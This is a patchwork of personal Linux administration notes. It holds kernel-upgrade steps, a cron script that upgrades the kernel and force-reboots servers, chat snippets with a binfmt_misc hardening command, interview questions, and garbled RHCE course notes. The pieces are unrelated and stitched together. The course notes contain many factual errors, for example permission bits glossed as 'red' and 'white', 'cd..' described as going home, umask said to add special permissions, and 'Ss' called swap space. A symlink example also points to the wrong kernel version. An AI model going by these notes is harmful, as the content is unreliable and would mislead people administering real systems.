arch/x86/boot/bzImage \
System.map "/boot"
root@server [/usr/src/linux-2.6.35.4]#
root@server [/boot]# ll |grep 2.6.35.4
-rw------- 1 root root 2586318 Sep 3 18:00 initrd-2.6.35.4.img
lrwxrwxrwx 1 root root 25 Sep 3 18:00 System.map ->
/boot/System.map-2.6.35.4
-rw-r--r-- 1 root root 1360605 Sep 3 18:00 System.map-2.6.35.4
lrwxrwxrwx 1 root root 22 Sep 3 18:00 vmlinuz -> /boot/vmlinuz-2.6.35.4
-rw-r--r-- 1 root root 2653408 Sep 3 18:00 vmlinuz-2.6.35.4
root@server [/boot]

Make sure System.map and vmlinuz are pointing to latest kernel else point them like :

ln -s /boot/System.map-2.6.28 /boot/System.map
ln -s /boot/vmlinuz-2.6.35.4 /boot/vmlinuz
-----------

10. cd /boot
11. mkinitrd initrd.img-2.6.35.4 2.6.35.4 //You may not be needed this step. For me it has automatically created. This is creation of RAM driver.

Example for my case :

------------
root@server [/boot]# mkinitrd initrd-2.6.35.4.img 2.6.35.4
initrd-2.6.35.4.img already exists.
root@server [/boot]#
------------

12. vi /boot/grub/menu.lst or /etc/grub.conf : //For me the entries has automatically put in this file like :

------------
root@server [/usr/src/linux-2.6.35.4]# cat /etc/grub.conf
# grub.conf generated by anaconda
#
# Note that you do not have to rerun grub after making changes to this file
# NOTICE: You have a /boot partition. This means that
# all kernel and initrd paths are relative to /boot/, eg.
# root (hd0,0)
# kernel /vmlinuz-version ro root=/dev/hda3
# initrd /initrd-version.img
#boot=/dev/hda
default=1
timeout=5
splashimage=(hd0,0)/grub/splash.xpm.gz
hiddenmenu
title CentOS (2.6.35.4)
root (hd0,0)
kernel /vmlinuz-2.6.35.4 ro root=/dev/hda3
initrd /initrd-2.6.35.4.img
title CentOS (2.6.18-194.8.1.el5)
root (hd0,0)
kernel /vmlinuz-2.6.18-194.8.1.el5 ro root=/dev/hda3
initrd /initrd-2.6.18-194.8.1.el5.img
title CentOS (2.6.18-128.el5)
root (hd0,0)
kernel /vmlinuz-2.6.18-128.el5 ro root=/dev/hda3
initrd /initrd-2.6.18-128.el5.img
root@server [/usr/src/linux-2.6.35.4]#
------------

13. reboot //enter this command at the konsole.
14. Check the server whether it comes online and check uname -r //If it does not come please contact DC to load the server from old kernel and sort the problem.
==============================

That's it. Try :) 
HOST=$(/bin/hostname)
/usr/bin/yum upgrade kernel -y
LATEST=$(/bin/rpm -q kernel |tail -n1|sed -e 's/kernel-//')
CURRENT=$(/bin/uname -r)
if [ $LATEST == $CURRENT ]      
then
echo ""
else
printf "
Hello,

Latest kernel on server $HOST is INSTALLED. 
To set that kernel as current kernel, server $HOST is being rebooted now. 
Please check server till it comes online.

Thanks,
Support Team
--------------------------------------------------------

" | mail -s "Kernel Upgraded on $HOST" kernel@minmaxgroup.com
/usr/bin/wall "SERVER is REBOOTED as KERNEL is UPGRADED"
/usr/bin/wall "SERVER is REBOOTED as KERNEL is UPGRADED"
/usr/bin/wall "SERVER is REBOOTED as KERNEL is UPGRADED"
/usr/bin/wall "SERVER is REBOOTED as KERNEL is UPGRADED"
/sbin/shutdown -rf now
fi


******************************************************************************************************

How to set it up this script on server  ?

SSH to server 
1.  cd ~3gteam
2.  Create new file with the file name :  pico kscript
3.  Paste above whole script in the file.
4.  exit and save the changes and make 755 permissions to that file
    chmod 755 kscript
5.  now open the root cron file 

pico /var/spool/cron/root

and add the cron command like at the bottom :

0 0 1 * * /home/3gteam/kscript > /dev/null 2>&1

save the changes and exit.

6.   ll /home/3gteam/kscript
-rwxr-xr-x 1 root root 1475 Mar 14 04:10 /home/3gteam/kscript*
 this is to confirm the path for the script.

7.  and finally restart the cron service from the server.

/etc/init.d/crond restart 


Cron have set to run the script in a month once from each server.

*************************************************************************************************

run the kscript manually on 1st and second page servers for kernel upgrade


[10:32:36 AM] vulgar: and any errors for upgrade place ticket to dc
[10:32:53 AM] APS6: how to run ?
[10:33:02 AM] vulgar: cd /home/3gteam
[10:33:05 AM] vulgar: and ./kscript
[10:33:17 AM] APS6: thanx :)

*********************************************************

[1:08:25 PM] bluffer: ok
[1:17:07 PM] bluffer: On ghostso after upgrading kernel, Run the following
[1:17:11 PM] bluffer: uname -m
[1:17:19 PM] bluffer: if the result is :
[1:17:23 PM] bluffer: uname -m
x86_64
[1:17:39 PM] bluffer: i mean only "x86_64 "
[1:17:50 PM] bluffer: then you need to do one thing.
[1:18:09 PM] bluffer: run the following command
[1:18:14 PM] bluffer: "echo ':32bits:M::\x7fELF\x01::/bin/echo:' > /proc/sys/fs/binfmt_misc/register"
[1:18:40 PM] bluffer: getting it  ?

[1:26:39 PM] bluffer: if you find 64 bit server
[1:26:47 PM] bluffer: run that command
[1:26:52 PM] bluffer: login to WHM
[1:27:14 PM] bluffer: check if any other user has normal shell
[1:27:31 PM] bluffer: if yes then make it jailed shell
Universal Word - Hindi Lexicon

English to Hindi: Version 3.1

http://www.cfilt.iitb.ac.in/~hdict/webinterface_user/dict_search_user.php

*****************************************************************************

http://www.shabdkosh.com/language convertor

http://translate.google.com/#cat /var/log/lfd.log |grep 81.131.108.80Linux interview question.

1. what is ddos attack and how to prevent?

2. What is file system?

3. What is IP spoofing?

4. Port Numbers.

5. How to work FTP and what is use of port 20 and 21?

6. What is kernerl?

7. How many tables in iptables?

8. What are shell variables? 

9. What is 'inode'? 

10. What are the main differences between RHEL4 & RHEL5? 

11. What is difference between imap and pop?

12. Describe linux boot sequence:

13. What different between port and protocols?

14. What is the difference between UDP and TCP internet protocols?

15. What is a zombie process?

16. What is difference between daemon and process?

17. Logs location.

18. difference between unix and linux?

19. What are the main differences between RHEL4 & RHEL5? 

20. What are seven fields in the /etc/passwd file?

21. What is a filesystem?

22. What command is used to remove the password assigned to a group? 

23. Which of the following commands will show a list of the files in your home directory including hidden files and the contents of all subdirectories?

24. Which file defines all users on your system? 

25. What is the minimum number of partitions you need to install Linux? 

26. What is a PID?

27. Difference between Hard Link and Soft Link in Linux?

28. What is Raid? The different types and Levels of Raid?

29. What is NFS? What is its purpose?

30. What does nslookup do?

31. What is .htaccess?

32. How many field in crontab?

33. Which log contains information on currently logged in users?

34. What is DNS?

35. How do you create a swapfile?

36. How to get the mysqlbackup and restore?

37. Where is located hardware configuration file in linux?

38. Whats the advantage of using ssh over telnet?

39. How to assign temporary IP address to lan-card?

40. How to recover grub on linux server?

41. How to setup log rotation on linux server?

42. How to see only sub-directory in directory?

43. How to see only files in directory?

44. How to replace the word without opening the file?

      

RH 033  --
            
         REDHAT ENTERPRISE LINUX ESSENTIALS 
	
								
* BASIC COMMANDS:
* BASIC COMMAND PROMPT

# date          --> it’s displayed u a date with time
    
# cal 09 1990   -->  it’s displayed u calendar of month which u want.

# cal 2010  --> to displayed to u year calendar 

 Shift + page up & page down -->  pages will be up and down
  
Passwd change  ‘

Virtual   console of linux

Ctrl + alt + f2   --> second virtual console
Ctrl + alt  + f1--------- f6 they are virtual login
Ctrl + alt + f7     --> starting GUI  (graphical user interface)


F1 to f6 are CLI  ( command line interface )
Ctrl + f1  active Redhat 

# clear  :-- it is clear the screen
# exit :--  it is use to # logout


INTRODUCTION :-

Unix – history 
1st version  -- bell lab

Ken Thomson  & Denies Ritchie



Unix principle  : --

1) every thing is a file
2) configuration file text format
3) single small purpose programme  .
4) all prog’s can be changed .


* linux  :-- 1991 linus journals 

features :--

1) multitasking 
2) multi user
3) wide hardware support
4) login :  two types
                   i) text based:-- virtual console ( 6 types )
ii)  graphical based:- 

                        alt +clt +f1   1st virtual console 
                              to 
                        alt+clt+f6     6th virtual console

		login : root
      password : redhat


command :-- 

# date                                    date +% any character A to Z
# cal   1 year
  Scroll  --> shift  + pageup or pgdown
   
 Ex. # cal 06 1983

# clear 
# start x 

Start button in window = application in linux 

Trash = r.b ( w )
Computer ( l )  = any computer ( w)
Root home ( 2)  = my document (w)

# passwd    --> to change password

# exit  --> logout
# ctrl  + alt  --> back space FUI to VC




* R.H.C.E  *
3 modules 

RH - 033                                      RH -133                                              RH - 253
                           
Linux essential             linux sys administrator                  Network administrator
Basic utilities                installation n/w config                   different server
Tools of command       11 units  --> 32 hours                   conf   sys 11- unit  32-hour
18 unit & 32 hours


* 9. vim : advanced editor
             Vi : visual editor
        Vim-vim—improved
Command mode vi  : 3 modes
1. common mode
2. insert mode
3. exit mode – exit editor


starting vi editor  

# vi /vim  filename

Esc+I  :-- insert test
Esc+wq!  :- it is used for writing & quiting
Esc+w!  :-  only write but does not exit
Esc+q!  :- only quit

Esc+shift+o :-- add a blank line
Esc + o  :-- add a blank line below current line
Esc + a :-- append after elevent apphabate .

Esc + h :-- 1 alphabet back
Esc+ j :-- 1 line below 
Esc + <k  :- 1 line above
Esc + l :- 1 alphabet forward
Esc + w  :-- switches in next word
Esc +b :--


Delete a line 
Esc dd   :--to delete the line
Esc cc  :--  replace the line
Esc yy :-- for copies line
Esc p :-- for the pest  the line 
Esc cl  :-- replace 1 alpha / character 
Esc dl :-- to delete a letter
Esccw :-- replace word
Esc u  :-- undo the current action

Esc : senonu :--    cancelled the line num
Esc : set number:-- set number of our para      
esc : se nu:--

root :- it is the name of user 
# :-- start u’r command from
Ctrl+alt +  back space 



4. getting help in linux:--
 level of help :-- 
i) wha is <command >  e.g --> cal
ii) <command>  --help   e.g cal –help
iii) E.g # man cal [it shows u manual ]
 




Manual selection : & sections

1) user command 
2) system cal 
3) library
4) special files 
5) file formats
6) games 
7) miscellaneous
8) administrator command
    
5. info  <command>              (detail)

# Make what is    (use before what is )
Q – quite man page

# useradd bob       (any name of)
# passwd  bob        (any name passwd)

# ls – to show list of files & properties 
   						(GMT –green which mean time)

* how to configure a panel :-
   right click on panel  (taskbar)

* how to configure control panel  :--
* system--> preferences --> choos any
* change password :-- system--> pref –ablout me

8th aug 2007

* browsing the file system :--
         / (root of the linux file system)
/root	/etc
* commands:--
1) # pwd --> print working directory

2) # cd <dirname>  --changing dir

In directory of files .. colour of files –

* white --> normal /text file --> user file
* Red  --> special file --> for special function
* Green  --> executable file .exe
* Blue --> directory 

3) # cd -      -->  switch back previous dir
4) # cd 	  --> switch back to home dir
 5) # cd..    --> switch to home dir


* creating a directory:--

# mkdir  <dir name >     (to make a dir which any u want)
      # rm <dir name>             (to remove empty dir)

* option to remove dir :--
 -- I   --> interactive 
 -- r   --> recursive 
 -- f   --> forcefully

* to remove all contains of dir:-
  # rm  - rf  abc <dir name>

    :less  :-- show less dir list

  # ls –l | less

* creating empty files :--
 # touch  a , b , c

* to file with containt

  # cat  > filename
   Ctrl + D  --> to save the file


* to see the containt with file  
  # cat    filename    

* to create a combination file :-
# touch       {jan,feb,mar}      {11,22,33}
                Combination character    string

* to remove file :--
# rm –I  jan_11  /rm_r_filename
C press  y-yes or n-no

# rm r jan 22
#  fi kap

* types of ls 
* # ls –l         --> show long listing of containt 
* # ls  -a        --> to see hidden file
* # ls –lh      -->  view long listing in human readable fashion.



9th aug 2007

* user group & permission :--
           organization—(companies)

depts.-->   pag	elect	makt
	         x y z       p q r  

 		    linux
    
   UID	     bob		student

* less /etc/passwd  ( user database information)
1. user				     5. extra information
2. password files                         6. home dir of user    
3. UID co.                                    7. login shell
4. GID 


* grub database info is stored in

# cat   /etc/groupfile

1) group name
2) group passwd
3) GID of groups 
4) Diff user of group.


* password database info is stored in :--
first two column:--
1)- user name
 2) encrypted passwd 

* permission :-- 10 columns in permission  3 types of permission
1) r  --> red permission
2) w  --> white permission
3) x  --> execute permission


              c formats:
1 	  2      3     4      5     6    7     8     9     10
D     r      w     x      r     w    x     r    w      x
        4      2    1
Dir           user 	  group	other 
                   U		     G		  O

* types of permission 

1) symbolic --> r,w,x

#chmod   g + w  “tm”

# chmod    u-x, g-x, 0-x  “tm” 


2) numerical :-- have same values

   R  = 4
   W = 2
    X = 1
e.g :- 





* to change permission numerically :--
   # chmod 660  “filename”
    To change into # chmod 440 “file name”


* Changing into ownership :--
To change user  --
Command :  
1) # chown –R bob – “filename”.

2) # chgrp   -R  student   “filename”.
# chown   bob:bob x

For *   # less /etc/shadow
Passwd   database information stored in this file.


13th  aug 2008

* Searching a string 

1) esc: /this  <text>
 esc : this --> removing the highlight

2) esc : nohl

3) replacing the particular string

Esc : 1,$ s /-------/------/ g

4) replacing a particular string in specific line
esc:1,2 s  /this/This/ g


* transferring 1 file to another file

  # vi  file  1
  # vi  file  2

S-1)--  # file1
S-2)      # esc:rfile2   : copy all content file 1 to file2


* Set an indent 

 Esc: set auto indent : mark an indent same as previously
 Esc: set ai



* remove indent  
* esc: set no auto indent
* esc: se noai

set text wrap
esc: set textwrap  = 70
esc : set textwrap  = 0   to turn off text wrap
7)setting a srap margin-
esc: set wrapmargin = 70
esc : set wrapmargine = 0 


* opening a two window in Vim
     # vim –o file1   file2
               To move one window to 2nd window

Ctrl+w+  ( at a time up down arrow)
Ctrl+w+v
Ctrl+w

* to open 2 window in vi:-
* s-1  # vi file1
* s-2  # esc:n  texttry

* to switch between the 2 windows esc:n# 

* inserting date/any command at current cursor position 

* esc: r <space>  ! date
--- --- --- --- --- -  ls –l
     esc: 1,2w <space >> filen

* to perform  any task without quit 
   esc : ! <any command>

    esc: 1,2w  >> texttry—

    esc  :  50 % switch to half of file
    esc :   100 % switches end of file
   esc :  1 %  switches to start of file

* to deleting a sentence  
1) forward 
  c)  : replace the next sentences
  d) : delete
  y) : yank/copy
c(  : replace the sentence before
d(  : delete   
 y( : yank/copy

* deleting a paragraph 
   c{  --> replace the para after current para
   d{  --> delete    the para after current para
y{  --> the para after current para

c{  --> replace the para current para 
d{ --> delete the para current para
y{ -->  yank/copy the para current para


* using the bash shell :--
#  bash shell  ( bourn again shell)
s.h.    bourn shell

C shell     (csh)
Enhance c shell (tesh)

* command line shortcut
* 1) * is 1st globing character 
*  - 0   or any instance of any character 
[ 0 - 9]   any no  0 – 9 (between)

2) ? single instance of any character 

             3)  [ a b c] – excluding char’s from parenthesis 
                  # Ls  l  [a b c]
            4) [a b c] – excluding char’s from parenthesis
            
* using a tab key 
           u can use any command with pressing tab
 .

* editing command line
ctrl + a  -- moves to start of command
ctrl + e  --  moves to end of command
ctrl + k --  deleting  a place w here u want to erase
ctrl +u --  to deleting a previous .

* for GUI terminal
1) ctrl + shift + T       -->   opens a new terminal in GUI
2) ctrl+ shift+ pgup   -->  shifting a terminal 
3) ctrl + shift + pgdown --> switch u’r terminal backward.
4) ctrl+ shift+ c -->  copy   copy a command
   Ctrl + shift +v  -->  paste a command which terminal u want.

* # history --> it will be show u the command displayed the list of it 
*                   --> to run a command from history 

  # !    -- any no. in history page .
  # !!   -- repeats the last command 
  # ! l  --  execute the command from l
  # ! c – execute a command from starting with c
  
# !-10 run a command 10 step back

$ is use to display a variable value 
Ex: # x = 10
--> echo $x --> show 10
# ! magical shebang sequence 

For shell script to execute to following 
S-1      :       in vi make a file with extension as    .sh
S-2      :       # !  /bin/bash              1st line of script
S-3      :   write u’r programme
S-4      :    :wq!
S -5     : chmod  u+x   <filename >.sh
S-6      :   # ./ <filename>  .sh

e.g

                #!/bin/bash
                   This programme displayed date
              Echo  “the date is $ (date)”
              X=10
              Echo $x
              :wq!

# chmod u+x   testing.sh
# ./testing.sh

# cp  file1 x ~ /xyz
# cd xyz 
# ls –l  ‘a>-->


20th aug 2007

Chapter—7   standard  input output and pipes 

* standard default :--
1) standard input (STDIN)  keyboard   by default  
file descriptor NO: 0

2) standard output (STDOUT)  :-- terminal windows y default
       file descriptor NO:1  
                
3) standard error (STDERR)  :-- terminal window by default
file descriptor NO:2
     
* redirection --> use of file instead of default
redirection  operator :--
1) command --> filename  : send STDOUT  to file name
# ls –l > list

2) command >> filename

3) command 2> filename :-  it only hakes the error
sends a standard error to a file 
 
4) command  2>> filename  :-- appends a STDERR to file

       5)  command  <file   :-- 
              # ls –l  </etc/passwd

* for non root users :-- 
1) # find   /etc/-- filename passwd

2) # find  /etc/-- filename passwd > out 
 e.g # cat  out

3)  # find  /etc/ filename passwd >> out
     #* $  tr ‘ a-z ’  ‘A -Z’              (tr=translate )

* sending STDOUT to programme 
                  user of pipes  ( | )  
1) less  command 1 |  less
     e.g   #   ls –l | less
2) mail

Ls –l | mail –s “list ” bob@ station2.example.com
(  * mail : viewing mail )
   3) lpr  :--    printing)
                       # s –l | lpr

     # find   /etc/ name passwd  2>> dev/null


* combining STDOUT & STDERR

&>    :  reduce STDOUT  & STDERR

# find  > etc – name passed &> find out

2> &1  : redirector  STDERR to STDOUT  via pipe

# Cal  2007  ;  cal 2008 | lpr
                --> this for combining two command
e.g  # for name in bob student 
  > do
> ADD = “$name @ station2.example.com
>MESSG =  “CALL URGENT”
> echo  $ MESSG | mail –s  “ call ”  $ ada 
> done

* redirecting STDIN
mail –s “x y z”   root@server2.example.com






21st aug 2008

UNIT – 8  TEXT PROCESSING TOOLS:-

Tee  - it allows to run multiple command at a time

# command 1| tee f1  command | tee file2

# ls –l  | tee f1| cat file | teef2

1) # head : starting line of files by default  it shows 1st 10 lines 

   # head     /etc/passwd
  # head  -n  -  20   /etc/passwd

2) # tail  :  it’s shows bottom 10 line of file by default 10
  # tail –n  -15  /etc/passwd

         /var/log/message

# tail  -f   /var/log/message 

-f   --. Follow the file 
Ctrl + c

* finding particular string :-
# grep :        general regular expression process

# grep  ‘bob’    /etc/passwd
# grep –n ‘bob’   /etc/passwd
# grep  -v  ‘bob’   /etc/passwd

* wc :  word count 
# wc   xyz   :  count no of character no of lines & no of word .

# wc  - w xyz  -- count word 
         - c xyz    -- count character
        -  l xyz     -- count line

# cut  :  for cutting particular char . 
# cut  -d  :  f1  /etc/passwd
# cut  -d  :   f1 , 3  /etc/passwd
# cut  -d :    f  -5   /etc/passwd

* sort 
# sort  -t  : k3   /etc/passwd     (alphabetically) 
# sort  -t  :  -k3  /etc/passwd

# sort  -t : k-3  -n –r /etc/passwd   (numerically)

* aspell :-- check for spelling mistake in its fiel
# cat  > file
# aspell check file

* look :-- looks for particular word from directory 
# look   exer  

* uniq :-- single  / duplicator instance  
e.g    uniq  - c file1
          uniq :-- count the number of unique & duplicator lines 
# uniq  -d cats :-- find the instance of duplicate line
# uniq  -u cats    :- single instance of line

* diff  :-- it’s  allow  to find different  
 # diff  cats   pets 

e.g.  # different   xyz  conf   station2 xyz.conf –station3


* create 2 file with cat command
# paste   -d  :  file   file2


* sed   :- stream editors 
# sed    ‘$/cats/pets/g’  cats
# sed    ‘1,2 r  /cats/pets/g’ cats
# sed  -e  ‘s/cats/pets/g’  -e
                 S /dogs/cows/g’      cats

# exec  ls
# PID   -- process ID  
# tty  -- 

     1        2       3        4        5       6
Tty0   tty1    tty3   tty4    tty5   tty6

? – process in running but its not visible
S – sleeping process can be wakeup  by particular command 
Ss  --  swap space
Ss + --  running into swap space 
R +  --  running 


* signals : -- it is information passed to process by issuing command

# signals can be verified on the basic of  name & number


            No		NAME 		function
  
1) signals      15		TERM		terminal killing
2)                   9.		KILL			terminal immediately
3)                   1		HUP			re.organize.conf  fine




* termination of process 
* PID   -  kill  <any no of PID> 3429
* Command – kill  -- 9   (ps -U)

# KILL -9  [pid no.]

# kill  -9   process id is 3412


* setting priority :-
 priority has value between 20  to 19  by default  0

     - 20   it is highest priority
        19 is a lowest  priority

# nice  -n  -20 ls  (before process running)

# top   :
# renice  -9 –p 4343  PID   (after process running)
# ps –o  command which are running

* bg  &  fq  background & four ground process
    (bg % 1 , - fa)
# jobs:

* schedual task :-
  # at  1300
> ls  -l
> cal 
ctrl +d

# at  -l   shows the list of schedule task
# atq

  # at Thursday  1800

* removing schedule 
 atrm  -: remove all the jobs

# cronetab –e

       0-59	0-23	 0-31	 1-12	    0-6
#	min	hour	dom	month	  dow			( command  ls -l)
	0	4	10	  2	   0,1

:wq!
 					Equal		not equal
# test  “sx” = “$y” && echo   “------”  //  echo  “----”



22nd  aug  2007	

		/root/.bash_history
9. configuring the bash shell :-
	
   Variables

System variable			user define variable
(caps) generally in | case			|  |

Local	environmental
Set  | less		env| less


# echo  #  HISTFILESIZE -100
# echo   #  HISTFILE
#echo  $ lines	                {25}
#echo  $ columns		     80 
#echo $  EUID		     0
#echo $  HOME                   /root
#echo $  USER               
#echo $ HostName	--> server1.example.com
#echo $LANG  -->  en_us.VTF -8
#echo $ path
#echo $  PS 1   		prompt screen 1  
				\u@ \h \w \$

PS 1   = “REDHAT LINUX------>”
PS 1   = “REDHAT LINUX------>  \d”
PS 1   = “REDHAT LINUX------> \d\u”
PS 1   = “REDHAT LINUX------>\d \u \h”
PS 1   = “REDHAT LINUX------> \d\u\h\w”









Set | less

* alias : -- for printing the particular key command in

# alias l  = “ls -l”
# unalias  l


(~)  home directory

* bash shell running commands :--

1. it breaks  line into word
2. expands aliases 
3. expands  { }
4. expands  ~ tilde
5. expands  $ 
6. expands command var . $ ( )
7. 
8. expand blogs  * ?  [ a,b,c]
9. find out redire ton  I/O path

# which date

     2 types of  SHELL
   ---------------------------
 
Boot itself   login shell		no login shell after giving 
					Particular	command

# vi   /etc/profile
# vi   /etc/profile.d
#  vi    ~  /bash 

* #  vi  .bshc
* Alias  l =  “ ls -l”

:wq!


#Read  p  “enter u’r name”:  (1st name )  ( 2nd name)”  first last

#Echo  “your 1st name is $ FIRST & 2nd name is  LAST”

#read  -p  “enter 5 value ”  v1  v2  v3  v4  v5

# echo  “1st value = $ v1”
# echo  “2nd value = $ v2”
# echo  “3rd value = $ v3”



13. investing & managing process  

Process :-- it is set instruction loaded  inside memory

Component  
Exec THREAD
DID
Memory - management  

		Process 
Parent process		child process

logout

parent 
process

child 
process

# pstree  | les --> shows the tree structure of process
# ps  -a         -->  the command on current terminal
# ps –x	          --> 
# ps –l          -->  shows the list of process
# ps  -ll         -->  it shows the process will run by the user



 27th aug 2007
Ch  - 10     Basic  System configuration tool  

* protocols :-- a set of particular rules to be obeyed by the networks 
* TCP /IP  :--  TCP—transmission control protocol
IP – internet protocol

* DHCP :-- dynamic control protocol 
* IP Address :-- it is address of particular  machine
* Subnet-mask:-- all the machine having a same address & network number



* managing  ethernet connection :--
1)  eth  .: 0      eth  0:1
2) eth  :   1     eth   0:2


* ifconfig   eth no   --> to check the interface
* ifdown   eth no	  --> to shutdown / stop the interface
 * if up      eth no	   --> to start the interface 

* DHCP :- 
* DNS – (Domain Name Service) Server:
		(server1.example.com)

Gatway  :255:255:255:0

192.168.0.x	class-c
172.168.x.x	class –b
112.x.x.x		class –a


* network  configuration file :--
* ethernet devices :--
  
1) configuration file for particular ethernet 

#  vi   /etc/sysconfig/network –script /ifcfg - ethx

Line :-- 
1 . it gives a company name or who can be manufacture
2 .device name	 
3. broadcast address   
4. hardware network  it is given by manufacturer itself (eth device)
5. IP address --> it gives ip address 
6. netmask  :-  it will be belong to class c network
7. network  :-- 
8.ONBOOT  = yes  bring uploading boot = yes not bring up during boot=no
 9. gateway :-- particular gateway  for particular IP address 
10.  TYPE = ethernet – it is type of card
						(ethernet wireless)

* 2   list of all interface device  :--

# vi   /usr/share/doc/initscript  -* /sysconfig.txt

* device :-- it means the name of particular device H/W address
* Boot Proto  :- where the network should take it address that was Ip address
* Gateway  :-- it is recognize to make host other    0
* Onboot  :-- start when booting    y/n
* Yser CTL :-- should be set to y to allow non root user to use the ifconfig        
Command
* Type :-- type of ethernet / wireless what type of network interface card


3) global setting of network configuration file –
  #  vi   /etc/sysconfig/network

i) networking_IPV6 = yes
to enable or disable networking an it is normally set to yes

ii) HOSTNAME  = yes
Server1.example.com
     
iii) networking = yes 

iv) NIS domain 



4) DNS configuration  file :			IMP
  
  # vi  /etc/resolve.conf
					It is stored in it
* printing in linux
# pr  install.log| less
 
# vi  /etc/cups/printer.conf
			Conf-file of printer
# ls stat – static for printing

# lpr  install.log

# system-config-date
 		This is the configure a date set the date & time

# vi   /etc/sysconfig/network-script/ifcfg – eth0





28th aug 2007					/etc/bash.rc	


Unit -14	Advance topic in user group & permission

# useradd  <name>
# userdel  < name >
# usermod  -c “this is new user”  <name>

Vi  /etc/ passwd

S   Suid     : special UID
S   Sgid	 : special GID
T	Sticly bit :


SUID  :  4
SGID  :  2 
Sticky bit : 1

* umask : - used for adding special permission  
# umask 022						
									
			Directories default  permission    777                  
			File default permission		 666	
	             

# chmod  < 0551 >    <file>

* extra commands :-

# su  -bob		- switch to bob user
# who am I 	- to show user
# users		- to show information abt user
# groups
#who
#w
#ID





Unit 15  --   Linux Filesystem In Depth

* system has partition 
 : each partition has ( unique) filesystem 
 Ext-2      old partition ( old version)
Ext -3       linux has used ext-3 filesystem
1) speed
2) Stability		ext  -3 feature
3) storage


* Inode :-- index node

* file system consists of inode table 

* Inode table consist of list of Inode number


# ls  - l  | list allthe inod number 

  Effect of CP command on inode number
	Cp  - copy
# cp 	file1	file2

  Effect of MV command on inode number 
     Mv_ file1   / = moves content to destination
# mv  file1	file2   - rename
					[change]

4) effect of  RM command on inode number
#    rm   file1			[ it’s freed that inode]

The inode num are free after this command

* (whenever uerase one file that u cant retrieve the data in soft link)








* link  :--
1) hard link  --  lm   file 1   file2

2) soft link  -    ( symbolic)
			( u cant span between partition)
# ln  -s   file1   file2

		We cannot retrieve the data in this line   
	# rm  -f   file 
      	Access the cd/ floppy  linux

For cd
1)  #  mount    /media/cdrecorder 
      # cd   /media/cdrecorder 
      #  ls
       # cp   _______/ root
     # umount   /media/cdrecorder
2) # mount   /media/floppy    floppy
3) # mount   /media/sd -4      pendrive  



* archive compress 

creating        # tar  -cvf   tar.tmp	/tmp
			create verbos  file  detail info
listing           # tar  -tvf   tar.tmp
extracting    #  tar  -xvf   tar.tmp

* Zip 
# gunzip  -v   install.log		gz-zipfile
# gunzip  -v	install.log.gz
# b zip2  -v     install.log		.bz2
					Zip file with exte-n
# b unzip  -v   install.log bz2

#tar  -czvf   tar.tmp  /tmp
Create extract
# tar  - xzcf	tar.tmp  




# df  -H    --> it will show u a free space   in   H disk
Human readable  fashion
           # df  -h
# du   -s 
# du  -s
#du   -sh
# 
# mtools  --> this command is used for floppy drive accessing.

# mdir   --> to see the  dir/files in floppy



* 14  Network client

1) firefox   - it’s start of internet 

i) speed 
         ii)  multipal tab browsing 
   iii) excellent cookie management  
		      ( it’s is a special type of file)
    iv) block popues
v) support for latest plugines


2) links :--  it is managed by yahoo.com
  # links http://www.yahoo.com
  # links  - dump http://www.yahoo.ocm
 # links – source http://www.yahoo.com
 # vi    /etc/resolve.conf

3) ping :--  helps to see connectivity in   n/w

 # ping  192.168.0.1
# ping   station1.example.com
 #  ping    -c  3  192.168.0.1

 4)host :-- it converts hostname to Ip add  
# host station1
*# dig  :-- same as host command but in more detail
# dig  station1 

5) traceroute :-  trace relative path traceroute 192.168.0.254
6) ssh  secure shell
# ssh    192.168.0.4
		(it allows to u a configure a system)
# exit 
#dhclient -    
   --> to retain u’r connectivity 
# service sshd restart  
                --> it’s  start u’r ssh command 

7) FTP:-- file transfer protocol 
# ftp  station1
# ftp
ftp/> cd pub
ftp/> ls
ftp/> quit
ftp/> mget  xyz   --ftp get
ftp/>mput 
ftp/> quit


8) SCP :-     secure copy
# scp   abc  192.168.0.1
# scp   abc   192.168.0.1:/etc

10) Wget :-- get files via  HTTP  or FTP

# wget http://www.redhat.com/traiing /index.html
Above command used for to copy  index html  page to our  system then use this command 














4th sep 2007

1) *  IF loop   :		
					Lt- less than equal to
					Gt- greter than equal to
					Le-  less than equal to
I= 1				Ne – not equal to
If [ $i – ne 10]			Eg – equal to
      Then				Ge – greter than / equal to  number
      Echo  “not equal 10”
      Else
     Echo  “equal to 10”
     Fi 
:wq!

* I =   “ost “			--> string
   If  [$t = “ost”];
Then
Echo  “equal”
Else
Echo  “not equal ”
Fi


I=3					case
1) echo  “one”;;
2) echo 	“two”;;
3) echo    “invalid” ;;
esac

2)  for  loop:- 
      I = 10
    For  I in $ (seq 110)
   Do
Echo  “$i”;
Done 







3) dowhile loop:-
    
I = 100
While  [$ -i- ge !]
  Do
Echo  $i
I = ‘exp  $ i-i’
Done

     					
Lt  - less than 
Gt – greter than
Le – less than equal to
Ne – not equal to
Eq – equal to
Ge – greater than or equal to


		


IMP for exam –

      INSTALLATION :--
      
Anaconda  : is redhat enterprise linux installer 

1) kikstart :-- speed of installation
2) rescue mode :-  command line troubles shooting 
3) Upgrade:-   upgrade by anaconda

* 2 modes of working   of anaconda 
	1) it start the installation the process 
	
	2) carries the installation

* functions :-- 
1) it initialize installation 
2) parser  I/P  from command 
3) it detect   the drive   ( hardware)
4) it detect extra drive
5)  if=t sets language keyboard layout & networking
6) Start networking if required for installation 

* modes of Installation
			installation purpose devices 
1) CDROM
2) HDD
3) HTPP 
4) FTP
5) NFS   --   network file system   (faster than other)


* initrd img  :   image required by kernal 

 * vm linuz   :  compress UR linux  kernal 









Start of installation
Linux text

* first  screen  language 	(tab-space) ur
Ok

* linux server directory
/var/ftp/pubn/RHEL5

Next --  welcome screen		skip		 
Partition type screen 

* create custom layout
ok
  1)
  2)
  3)

  1) Mount point  -    /
	Ext  -  3 type 

      Size MB 5000

2)  mount point  -   /home
	Ext  -3
	Size  mb 300

4) swap  -   
         size -  2000mb 

* boot loder configuration    	GRUB
   
		Not use for frub password

* MBR – master boot record
Hostname  configuration 
As it is 
* automatically via DHCP
* Asia Calcutta for timezone
                Root password --> redhat
    * 
* package selection screen 
	Customize softeare selection
1) Administrative tools 
2) DNS name server
3) Development library 
4) Development tools
5) Editor 
6) FTP Server 
7) GNOME desktop  Environment 
8)  Graphical  internet 
9) Graphic
10) Legacy  network server
11) Mail server
12) Network server
13) Primary support
14) Server configuration tool
15) Sound and video
16) System tools 
17) Text base internet 
18) Web server
19) Windows file server
20) Windows system 

* dependency check
--> take out the CD 


( GRUB  :- what do   find out the boot sequence where it is start)



1


RH – 133 

